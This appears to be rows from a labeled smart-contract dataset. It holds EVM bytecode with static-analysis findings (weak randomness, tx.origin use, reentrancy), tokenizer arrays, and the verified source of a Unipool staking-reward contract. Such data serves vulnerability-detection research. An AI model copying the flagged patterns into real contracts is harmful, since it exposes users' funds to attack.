61ffff841661356d8360066140f7565b60ff1660e08301525092915050565b80516020808301516040808501516060860151608087015160a088015160c089015160e08a0151955198151560f890811b988a01989098526001600160f81b031996881b871660218a015293871b8616602289015291861b85166023880152851b84166024870152841b83166025860152831b8216602685015290911b166027820152600090602801604051602081830303815290604052610a4690614166565b6000806101348360ff16600e81106137085761370861428a565b0154613714908561423c565b90506101348360ff16600e811061372d5761372d61428a565b018160ff16815481106137425761374261428a565b60009182526020918290209181049091015460ff601f9092166101000a90048116600886901c90911611613777579050610a46565b6101428360ff16600e811061378e5761378e61428a565b018160ff16815481106137a3576137a361428a565b90600052602060002090602091828204019190069054906101000a900460ff1691505092915050565b82805482825590600052602060002090601f016020900481019282156138625791602002820160005b8382111561383357835183826101000a81548160ff021916908360ff16021790555092602001926001016020816000010492830192600103026137f5565b80156138605782816101000a81549060ff0219169055600101602081600001049283019260010302613833565b505b5061386e92915061392a565b5090565b6040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e081019190915290565b8280546138c2906141b6565b90600052602060002090601f0160209004810192826138e45760008555613862565b82601f106138fd57805160ff1916838001178555613862565b82800160010185558215613862579182015b8281111561386257825182559160200191906001019061390f565b5b8082111561386e576000815560010161392b565b600082601f83011261395057600080fd5b8135602061396561396083614095565b614065565b80838252828201915082860187848660051b890101111561398557600080fd5b60005b858110156139a457813584529284019290840190600101613988565b5090979650505050505050565b600082601f8301126139c257600080fd5b813560206139d261396083614095565b80838252828201915082860187848660051b89010111156139f257600080fd5b60005b858110156139a457613a0682613a2d565b845292840192908401906001016139f5565b80358015158114613a2857600080fd5b919050565b803560ff81168114613a2857600080fd5b600060208284031215613a5057600080fd5b81356123fa816142b6565b60008060408385031215613a6e57600080fd5b8235613a79816142b6565b91506020830135613a89816142b6565b809150509250929050565b600080600060608486031215613aa957600080fd5b8335613ab4816142b6565b92506020840135613ac4816142b6565b929592945050506040919091013590565b60008060008060808587031215613aeb57600080fd5b8435613af6816142b6565b93506020850135613b06816142b6565b92506040850135915060608501356001600160401b03811115613b2857600080fd5b8501601f81018713613b3957600080fd5b8035613b47613960826140b8565b818152886020838501011115613b5c57600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b60008060408385031215613b9157600080fd5b8235613b9c816142b6565b9150613baa60208401613a18565b90509250929050565b60008060408385031215613bc657600080fd5b8235613bd1816142b6565b946020939093013593505050565b600060208284031215613bf157600080fd5b81356001600160401b03811115613c0757600080fd5b612fdf8482850161393f565b600080600060608486031215613c2857600080fd5b83356001600160401b03811115613c3e57600080fd5b613c4a8682870161393f565b93505060208401359150613c6060408501613a18565b90509250925092565b600060208284031215613c7b57600080fd5b6123fa82613a18565b600060208284031215613c9657600080fd5b5035919050565b600060208284031215613caf57600080fd5b81356123fa816142cb565b600060208284031215613ccc57600080fd5b81516123fa816142cb565b600080600060608486031215613cec57600080fd5b8335613cf7816142b6565b92506020840135613d07816142b6565b91506040840135613d17816142b6565b809150509250925092565b600060208284031215613d3457600080fd5b81516001600160401b03811115613d4a57600080fd5b8201601f81018413613d5b57600080fd5b8051613d69613960826140b8565b818152856020838501011115613d7e57600080fd5b613d8f82602083016020860161418a565b95945050505050565b60008060408385031215613dab57600080fd5b82359150613baa60208401613a18565b60008060408385031215613dce57600080fd5b50508035926020909101359150565b600080600060608486031215613df257600080fd5b613dfb84613a2d565b925060208401356001600160401b0380821115613e1757600080fd5b613e23878388016139b1565b93506040860135915080821115613e3957600080fd5b50613e46868287016139b1565b9150509250925092565b60008151808452613e6881602086016020860161418a565b601f01601f19169290920160200192915050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613eaf90830184613e50565b9695505050505050565b6001600160a01b038316815260406020808301829052835191830182905260009184820191906060850190845b818110156139a457845161ffff1683529383019391830191600101613ee6565b6020808252825182820181905260009190848201906040850190845b81811015613f3e57835183529284019291840191600101613f22565b50909695505050505050565b6020815260006123fa6020830184613e50565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60006101008201905082511515825260ff602084015116602083015260ff604084015116604083015260ff606084015116606083015260ff608084015116608083015260a083015161403460a084018260ff169052565b5060c083015161404960c084018260ff169052565b5060e083015161405e60e084018260ff169052565b5092915050565b604051601f8201601f191681016001600160401b038111828210171561408d5761408d6142a0565b604052919050565b60006001600160401b038211156140ae576140ae6142a0565b5060051b60200190565b60006001600160401b038211156140d1576140d16142a0565b50601f01601f191660200190565b600082198211156140f2576140f261425e565b500190565b600060ff821660ff84168060ff038211156141145761411461425e565b019392505050565b60008261412b5761412b614274565b500490565b600081600019048311821515161561414a5761414a61425e565b500290565b6000828210156141615761416161425e565b500390565b8051602080830151919081101561248f5760001960209190910360031b1b16919050565b60005b838110156141a557818101518382015260200161418d565b838111156112145750506000910152565b600181811c908216806141ca57607f821691505b6020821081141561248f57634e487b7160e01b600052602260045260246000fd5b600061ffff808316818114156142035761420361425e565b6001019392505050565b60006000198214156142215761422161425e565b5060010190565b60008261423757614237614274565b500690565b600060ff83168061424f5761424f614274565b8060ff84160691505092915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610c5357600080fd5b6001600160e01b031981168114610c5357600080fdfea2646970667358221220fe0a708dd07bf42d29a0f5c7067cb3954cb3ea809aeab4590b84f3d7e7f2226764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23632, 4215, 2094, 2487, 2063, 28756, 2546, 2094, 2549, 2050, 2692, 2683, 2487, 2050, 2581, 2546, 27814, 16409, 2475, 2546, 2620, 23833, 2620, 17134, 2575, 2050, 23632, 2581, 2546, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 6105, 1013, 1008, 1008, 1012, 1005, 1010, 1005, 1010, 1012, 1005, 1012, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1064, 1035, 1035, 1035, 1035, 1035, 1064, 1035, 1032, 1035, 1035, 1013, 1035, 1064, 1035, 1035, 1035, 1035, 1035, 1064, 1035, 1032, 1035, 1035, 1013, 1035, 1064, 1035, 1035, 1035, 1035, 1035, 1064, 1035, 1032, 1035, 1005, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,735
0x9741ba0b8696521749b322204ae659ba20ba63f6
/** *Submitted for verification at Etherscan.io on 2020-09-21 */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/Unipool.sol pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; // uni-v2 DRT ETH pair IERC20 public uniswapEthDrtToken = IERC20(0x90c8bE3901D5Bbc4f88aB70203c8C514921E1150); uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); uniswapEthDrtToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); uniswapEthDrtToken.safeTransfer(msg.sender, amount); } } contract Unipool is LPTokenWrapper, IRewardDistributionRecipient { // DRT Smart contract IERC20 public drt = IERC20(0x9AF4f26941677C706cfEcf6D3379FF01bB85D5Ab); uint256 public constant DURATION = 35 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; drt.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 _amount) external updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = _amount.div(DURATION); } else { uint256 remainingTime = periodFinish.sub(block.timestamp); uint256 leftoverReward = remainingTime.mul(rewardRate); uint256 newRewardRate = _amount.add(leftoverReward).div(DURATION); require(newRewardRate >= rewardRate, "New reward rate too low"); rewardRate = newRewardRate; } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); drt.safeTransferFrom(msg.sender, address(this), _amount); emit RewardAdded(_amount); } }
0x608060405234801561001057600080fd5b50600436106101725760003560e01c806380faa57d116100de578063a694fc3a11610097578063df136d6511610071578063df136d65146105b7578063e9fad8ee146105d5578063ebe2b12b146105df578063f2fde38b146105fd57610172565b8063a694fc3a1461054d578063c8f33c911461057b578063cd3daf9d1461059957610172565b806380faa57d146103d75780638260b50c146103f55780638b8763471461043f5780638da5cb5b146104975780638f32d59b146104e157806392eec94f1461050357610172565b80632e1a7d4d116101305780632e1a7d4d146102f15780633c6b16ab1461031f5780633d18b9121461034d57806370a0823114610357578063715018a6146103af5780637b0a47ee146103b957610172565b80628cc262146101775780630700037d146101cf5780630d68b76114610227578063101114cf1461026b57806318160ddd146102b55780631be05289146102d3575b600080fd5b6101b96004803603602081101561018d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610641565b6040518082815260200191505060405180910390f35b610211600480360360208110156101e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610728565b6040518082815260200191505060405180910390f35b6102696004803603602081101561023d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610740565b005b610273610800565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102bd610826565b6040518082815260200191505060405180910390f35b6102db610830565b6040518082815260200191505060405180910390f35b61031d6004803603602081101561030757600080fd5b8101908080359060200190929190505050610837565b005b61034b6004803603602081101561033557600080fd5b81019080803590602001909291905050506109f0565b005b610355610c93565b005b6103996004803603602081101561036d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e74565b6040518082815260200191505060405180910390f35b6103b7610ebd565b005b6103c1610ffa565b6040518082815260200191505060405180910390f35b6103df611000565b6040518082815260200191505060405180910390f35b6103fd611013565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104816004803603602081101561045557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611039565b6040518082815260200191505060405180910390f35b61049f611051565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e961107b565b604051808215151515815260200191505060405180910390f35b61050b6110da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105796004803603602081101561056357600080fd5b81019080803590602001909291905050506110ff565b005b6105836112b8565b6040518082815260200191505060405180910390f35b6105a16112be565b6040518082815260200191505060405180910390f35b6105bf611356565b6040518082815260200191505060405180910390f35b6105dd61135c565b005b6105e7611377565b6040518082815260200191505060405180910390f35b61063f6004803603602081101561061357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061137d565b005b6000610721600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610713670de0b6b3a76400006107056106ee600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e06112be565b61140590919063ffffffff16565b6106f788610e74565b61144f90919063ffffffff16565b6114d990919063ffffffff16565b61152390919063ffffffff16565b9050919050565b600b6020528060005260406000206000915090505481565b61074861107b565b15156107bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b622e248081565b336108406112be565b60098190555061084e611000565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561091d5761089381610641565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600082111515610995576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b61099e826115ad565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b60006109fa6112be565b600981905550610a08611000565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610ad757610a4d81610641565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60065442101515610b0357610af8622e2480836114d990919063ffffffff16565b600781905550610be6565b6000610b1a4260065461140590919063ffffffff16565b90506000610b336007548361144f90919063ffffffff16565b90506000610b5f622e2480610b51848861152390919063ffffffff16565b6114d990919063ffffffff16565b90506007548110151515610bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e657720726577617264207261746520746f6f206c6f7700000000000000000081525060200191505060405180910390fd5b80600781905550505050